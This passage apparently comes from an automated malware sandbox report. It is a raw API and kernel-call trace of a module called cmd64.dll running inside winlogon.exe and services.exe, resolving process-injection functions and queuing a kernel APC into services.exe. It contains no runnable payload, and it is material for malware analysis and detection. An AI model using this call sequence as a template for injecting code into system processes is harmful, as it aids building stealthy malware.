(lpModuleName="PSAPI.DLL") returned 0x77e20000 [0072.819] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0072.819] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0072.819] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0072.820] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0072.821] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0072.841] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0072.841] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0072.842] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0072.842] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0072.842] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0072.842] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0072.842] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0072.844] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0072.886] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\winlogon.exe") returned 0x20 [0072.886] PathFindFileNameA (pszPath="C:\\Windows\\system32\\winlogon.exe") returned="winlogon.exe" [0072.886] GetCommandLineA () returned="winlogon.exe" [0072.886] _strcmpi (_Str1="winlogon.exe", _Str2="svchost.exe") returned 4 [0072.886] StrStrIA (lpFirst="winlogon.exe", lpSrch="wermgr.exe") returned 0x0 [0072.889] HeapDestroy (hHeap=0xd50000) returned 1 [0073.055] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.059] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.270] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KBDUS.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KBDUS.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 73 os_tid = 0x1b4 Thread: id = 74 os_tid = 0x1b8 [0085.414] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\UXInit.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.443] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.462] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.467] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.468] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.600] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WindowsCodecs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.128] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wkscli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.151] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netjoin.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.154] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.263] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.855] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KBDUS.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.960] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mpr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 149 os_tid = 0x2dc Thread: id = 163 os_tid = 0x318 Thread: id = 228 os_tid = 0x140 Thread: id = 229 os_tid = 0x158 Thread: id = 237 os_tid = 0x1c8 Process: id = "11" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x144fd000" os_pid = "0x1d4" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x174" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" Region: id = 585 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 586 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 587 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 588 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 589 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 590 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 591 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 592 start_va = 0xffe90000 end_va = 0xffee2fff entry_point = 0xffea3310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" Region: id = 593 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 594 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 595 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 596 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 597 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 598 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 599 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 600 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 601 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 602 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 603 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 604 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 605 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 606 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 607 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 608 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 609 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 610 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 611 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 612 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 613 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 614 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 615 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 616 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 617 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 618 start_va = 0x150000 end_va = 0x20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 619 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 620 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 621 start_va = 0x7d0000 end_va = 0xbc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 622 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 623 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 624 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 625 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 626 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 627 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 628 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 629 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 630 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 631 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 632 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 633 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 634 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 635 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 636 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 637 start_va = 0xc10000 end_va = 0xc8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 638 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 639 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 694 start_va = 0xd90000 end_va = 0x105efff entry_point = 0xd90000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 695 start_va = 0x7fefd960000 end_va = 0x7fefd982fff entry_point = 0x7fefd961198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" Region: id = 696 start_va = 0x7fefd990000 end_va = 0x7fefd9f6fff entry_point = 0x7fefd991010 region_type = mapped_file name = "scesrv.dll" filename = "\\Windows\\System32\\scesrv.dll" Region: id = 697 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 698 start_va = 0x7fefda10000 end_va = 0x7fefda28fff entry_point = 0x7fefda11020 region_type = mapped_file name = "scext.dll" filename = "\\Windows\\System32\\scext.dll" Region: id = 821 start_va = 0xd50000 end_va = 0xd8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 822 start_va = 0x10b0000 end_va = 0x112ffff entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 823 start_va = 0x11a0000 end_va = 0x121ffff entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 824 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 825 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 826 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 827 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 828 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 829 start_va = 0x7fefd660000 end_va = 0x7fefd68efff entry_point = 0x7fefd661064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" Region: id = 830 start_va = 0x10000 end_va = 0x16fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 831 start_va = 0x7fefd020000 end_va = 0x7fefd058fff entry_point = 0x7fefd02c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" Thread: id = 85 os_tid = 0x1d8 [0073.735] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\services.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.735] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.740] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0073.741] IoIs32bitProcess (Irp=0x0) returned 0 [0073.741] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800bb6d830 [0073.741] KeInitializeApc (Apc=0xfffffa800bb6d830, Thread=0xfffffa80034d1b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0073.741] KeInsertQueueApc (Apc=0xfffffa800bb6d830, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0073.741] ExFreePoolWithTag (P=0xfffffa800bb6d830, Tag=0x0) [0073.741] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa8003563010 [0073.741] IoGetCurrentProcess () returned 0xfffffa80035555f0 [0073.741] PsGetCurrentProcessId () returned 0x1d4 [0073.741] IoIs32bitProcess (Irp=0x0) returned 0 [0073.741] KeInitializeEvent (in: Event=0xfffffa8003563050, Type=0x0, State=0 | out: Event=0xfffffa8003563050) [0073.741] ExQueueWorkItem (in: WorkItem=0xfffffa8003563010*(List.Flink=0x0, List.Blink=0xfffff80002a5f2e0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003563010), QueueType=0x1 | out: WorkItem=0xfffffa8003563010*(List.Flink=0x0, List.Blink=0xfffff80002a5f2e0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003563010)) [0073.764] KeWaitForMutexObject () returned 0x0 [0073.764] ExFreePoolWithTag (P=0xfffffa8003563010, Tag=0x0) [0073.765] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.770] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.777] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.786] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.787] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.788] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.817] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0073.817] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0073.817] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0073.818] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0073.818] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0073.818] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0073.818] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.818] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.819] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.819] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.820] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.821] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.821] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.822] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.823] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.824] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.824] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.825] 